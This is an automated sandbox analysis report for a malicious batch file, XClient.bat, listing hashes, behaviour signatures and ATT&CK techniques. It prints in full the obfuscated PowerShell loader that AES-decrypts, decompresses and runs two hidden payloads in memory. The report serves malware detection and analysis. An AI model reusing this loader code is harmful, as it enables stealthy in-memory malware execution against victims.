9f5f9ef41661f2867dc646b2979808a51a37e1c09a7e01a14d920c4b53a8ab9b

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14-11-2024 04:30

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General

Target

XClient.bat
Size

108KB
MD5

85858e630a760180cab51cc060f9b811
SHA1

a9bb8f891c1f6b0fa07f6119304cd3f8798cb1b8
SHA256

9f5f9ef41661f2867dc646b2979808a51a37e1c09a7e01a14d920c4b53a8ab9b
SHA512

753864eecf3478a2f3f78a6743577c8aa81179664786730b0a3ad2ce8307451240a2186af9fb7522f0a1a0f99d6772eb52d684cc23a4c060c92ebfce43d59462
SSDEEP

3072:k2rUR0lBxUPbxNuh/Fqf2Zf5SJi1UF0Mg+O:kwUzjxUh/Fqf2Z5SJxg+O

Score

7^/10

execution

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
1812	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 3052	1812	cmd.exe	31
PID 1812 wrote to memory of 3052	1812	cmd.exe	31
PID 1812 wrote to memory of 3052	1812	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fWWVT9o7q7zlXGa6pNfiR9GKQf2wkDvKZLYeay8rOwg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TLAL1Gx+pBMDN+bpimtxdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cwxDL=New-Object System.IO.MemoryStream(,$param_var); $klGUs=New-Object System.IO.MemoryStream; $ztGmD=New-Object System.IO.Compression.GZipStream($cwxDL, [IO.Compression.CompressionMode]::Decompress); $ztGmD.CopyTo($klGUs); $ztGmD.Dispose(); $cwxDL.Dispose(); $klGUs.Dispose(); $klGUs.ToArray();}function execute_function($param_var,$param2_var){ $iPgZA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Doivo=$iPgZA.EntryPoint; $Doivo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$gFakL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($cSwQv in $gFakL) { if ($cSwQv.StartsWith(':: ')) { $dibCZ=$cSwQv.Substring(3); break; }}$payloads_var=[string[]]$dibCZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3052-4-0x000007FEF5F5E000-0x000007FEF5F5F000-memory.dmp

Filesize
4KB

Download
memory/3052-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/3052-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/3052-8-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-7-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-9-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-10-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-11-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-12-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download